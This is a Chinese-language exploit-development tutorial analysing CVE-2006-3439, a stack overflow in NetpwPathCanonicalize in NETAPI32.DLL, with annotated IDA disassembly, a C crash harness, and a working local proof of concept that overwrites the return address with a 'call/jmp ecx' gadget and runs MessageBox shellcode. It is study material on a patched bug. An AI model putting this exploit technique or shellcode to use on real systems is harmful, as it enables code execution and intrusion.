作者:黑蛋
本次漏洞分析实例是编号CVE-2006-3439,他是系统库NETAPI32.DLL中NetpwPathCanonicalize函数中出现的一个栈溢出漏洞,此函数主要对俩个字符串进行拼接,漏洞主要成因是函数内部对参数进行边界检查是使用了wcslen,而开辟栈的时候是按照ASCLL开辟,也就是我们可以传入双倍字节的参数,造成溢出,下面对此dll中漏洞函数进行分析:第一步,把dll拖入x86IDA中,等加载完成,在函数窗口搜索函数NetpwPathCanonicalize:
第二步,找到具体触发漏洞函数(逐步跟进,看哪里触发异常):
第三步,进入这个call:
第四步,分析函数,我们假定传入俩个字符串参数分别为(path,prefix):
; int __stdcall sub_7517FC68(wchar_t *Str, wchar_t *Source, wchar_t *, int, int) .text:7517FC68 sub_7517FC68 proc near ; CODE XREF: NetpwPathCanonicalize 74↑p .text:7517FC68 .text:7517FC68 var_416 = word ptr -416h .text:7517FC68 Dest = word ptr -414h .text:7517FC68 Str = dword ptr 8 .text:7517FC68 Source = dword ptr 0Ch .text:7517FC68 arg_8 = dword ptr 10h .text:7517FC68 arg_C = dword ptr 14h .text:7517FC68 arg_10 = dword ptr 18h .text:7517FC68 .text:7517FC68 push ebp .text:7517FC69 mov ebp, esp .text:7517FC6B sub esp, 414h ; 开辟栈,0x414 .text:7517FC71 push ebx .text:7517FC72 push esi .text:7517FC73 xor esi, esi .text:7517FC75 push edi .text:7517FC76 cmp [ebp Str], esi .text:7517FC79 mov edi, ds:__imp_wcslen .text:7517FC7F mov ebx, 411h ; 边界检查 .text:7517FC84 jz short loc_7517FCED .text:7517FC86 push [ebp Str] ; prefix字符串 .text:7517FC89 call edi ; __imp_wcslen .text:7517FC8B mov esi, eax ; prefix字符串的长度(unicode) .text:7517FC8D pop ecx .text:7517FC8E test esi, esi .text:7517FC90 jz short loc_7517FCF4 .text:7517FC92 cmp esi, ebx .text:7517FC94 ja loc_7517FD3E .text:7517FC9A push [ebp Str] ; Source .text:7517FC9D lea eax, [ebp Dest] .text:7517FCA3 push eax ; Dest .text:7517FCA4 call ds:__imp_wcscpy .text:7517FCAA mov ax, [ebp esi*2 var_416] .text:7517FCB2 pop ecx .text:7517FCB3 cmp ax, 5Ch .text:7517FCB7 pop ecx .text:7517FCB8 jz short loc_7517FCD5 .text:7517FCBA cmp ax, 2Fh .text:7517FCBE jz short loc_7517FCD5 .text:7517FCC0 lea eax, [ebp Dest] .text:7517FCC6 push offset asc_751717B8 ; "\" .text:7517FCCB push eax ; Dest .text:7517FCCC call ds:__imp_wcscat .text:7517FCD2 pop ecx .text:7517FCD3 inc esi .text:7517FCD4 pop ecx .text:7517FCD5 .text:7517FCD5 loc_7517FCD5: ; CODE XREF: sub_7517FC68 50↑j .text:7517FCD5 ; sub_7517FC68 56↑j .text:7517FCD5 mov eax, [ebp Source] .text:7517FCD8 mov ax, [eax] .text:7517FCDB cmp ax, 5Ch .text:7517FCDF jz short loc_7517FCE7 .text:7517FCE1 cmp ax, 2Fh .text:7517FCE5 jnz short loc_7517FCF4 .text:7517FCE7 .text:7517FCE7 loc_7517FCE7: ; CODE XREF: sub_7517FC68 77↑j .text:7517FCE7 add [ebp Source], 2 .text:7517FCEB jmp short loc_7517FCF4 .text:7517FCED ; --------------------------------------------------------------------------- .text:7517FCED .text:7517FCED loc_7517FCED: ; CODE XREF: sub_7517FC68 1C↑j .text:7517FCED mov [ebp Dest], si .text:7517FCF4 .text:7517FCF4 loc_7517FCF4: ; CODE XREF: sub_7517FC68 28↑j .text:7517FCF4 ; sub_7517FC68 7D↑j ... .text:7517FCF4 push [ebp Source] ; path字符串 .text:7517FCF7 call edi ; __imp_wcslen .text:7517FCF9 add eax, esi ; path prefix的长度 .text:7517FCFB pop ecx .text:7517FCFC cmp eax, ebx ; 第二次边界检查,ebx=0x411,俩次拼接但是这里指的是UNICODE的长度,也就是说我们在这里可以传入0x822字节东西 .text:7517FCFE ja short loc_7517FD3E .text:7517FD00 push [ebp Source] ; Source .text:7517FD03 lea eax, [ebp Dest] .text:7517FD09 push eax ; Dest .text:7517FD0A call ds:__imp_wcscat .text:7517FD10 pop ecx .text:7517FD11 lea eax, [ebp Dest] .text:7517FD17 pop ecx .text:7517FD18 push eax .text:7517FD19 call sub_7518AE95 .text:7517FD1E lea eax, [ebp Dest] .text:7517FD24 push eax ; Name .text:7517FD25 call sub_7518AEB3 .text:7517FD2A test eax, eax .text:7517FD2C jnz short loc_7517FD43 .text:7517FD2E lea eax, [ebp Dest]
第五步,我们得到结论可以传入0x822字节,但是栈中buffer只要0x411字节,意味着无论是path参数还是prefix参数,我们都可以传入双倍内容,随后发现在漏洞函数之前,有一个函数已经对prefix参数进行了长度检查,所以我们只能利用path参数:
二、环境配置
环境 | 配置 |
---|---|
系统 | WinXP |
编译器 | VC6 |
调试器 | x86IDA,x86DBG |
项目配置 | win32 realse |
文件 | netapi32.dll |
dll文件
三、漏洞分析
测试代码如下:我直接加载没打补丁的dll,我们主要是通过loadlibrary函数加载我们的dll,然后通过GetProcAddress函数获得NetpwPathCanonicalize函数地址,通过函数指针调用,传入俩个参数,一个全部覆盖为61,一个全部覆盖为62,结尾都是以00结尾,观察是哪里造成溢出:
#include typedef void (*MYPROC)(LPTSTR); int main() { char path[0x320]; char can_path[0x440]; int maxbuf=0x440; char prefix[0x100]; long pathtype=44; //load vulnerability netapi32.dll which we got from a WIN2K sp4 host HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll"; // care for the path char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset(path,0,sizeof(path)); memset(path,'a',sizeof(path)-2); memset(prefix,0,sizeof(prefix)); memset(prefix,'b',sizeof(prefix)-2); (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0); FreeLibrary(LibHandle); }
生成realse,拖入x86dbg,F9进入程序领空:
找到主函数入口:
进入主函数,找到我们函数指针调用的NetpwPathCanonicalize函数处:
运行到call edx处,查看edx的值,跳转到NetpwPathCanonicalize头部下断点:
运行到漏洞函数,再找到具体拷贝字符串函数,下断点:
进入目标函数:
F4运行到第二个wcscat函数后:
观察堆栈: esp处:
发现我们栈中buffer首地址是12F294; ebp处:
我们发现path字符串倒数第4-第8字节淹没返回值;运行到函数尾部:
我们发现ecx的值正好指向我们buffer首地址,所以我们只需要在淹没返回值那里找到一个jmp ecx或者call ecx的指令,在netapi32.dll中我找到一条指令751852F9:
把此地址构造在淹没返回值的地方,程序流程就可以跳转到我们buffer中去,接下来构造shellcode,下面是新代码,我们吧path参数倒数4-8位置写成我们的跳转指令,即751852F9,再给prefix拷贝我们弹窗shellcode,作用是弹一个MessageBox的框,供我们观察:
#include typedef void (*MYPROC)(LPTSTR); char shellcode2[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x6Fx70x20x20x68x76x75x6Cx74x8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"; int main() { char path[0x320]; char can_path[0x440]; int maxbuf=0x440; char prefix[0x100]; long pathtype=44; //load vulnerability netapi32.dll which we got from a WIN2K sp4 host HINSTANCE LibHandle; MYPROC Trigger; char dll[ ] = "./netapi32.dll"; // care for the path char VulFunc[ ] = "NetpwPathCanonicalize"; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset(path,0,sizeof(path)); memset(path,0x90,sizeof(path)-2); memset(prefix,0,sizeof(prefix)); memset(prefix,0x90,sizeof(prefix)-2); memcpy(prefix,shellcode2,176); //0x751852F9 path[0x318] = 0xF9; path[0x319] = 0x52; path[0x31A] = 0x18; path[0x31B] = 0x75; //__asm int 3 (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0); FreeLibrary(LibHandle); }
观察运行结果,弹窗成功:
接下来我们继续吧程序拖入x86dbg中,按照前面流程到触发漏洞函数处:
F7进入,并运行到函数尾部:
观察堆栈情况:栈内buffer:
返回值处:
一切如我们所料,继续运行,到了我们的shellcode处:
F9运行,弹框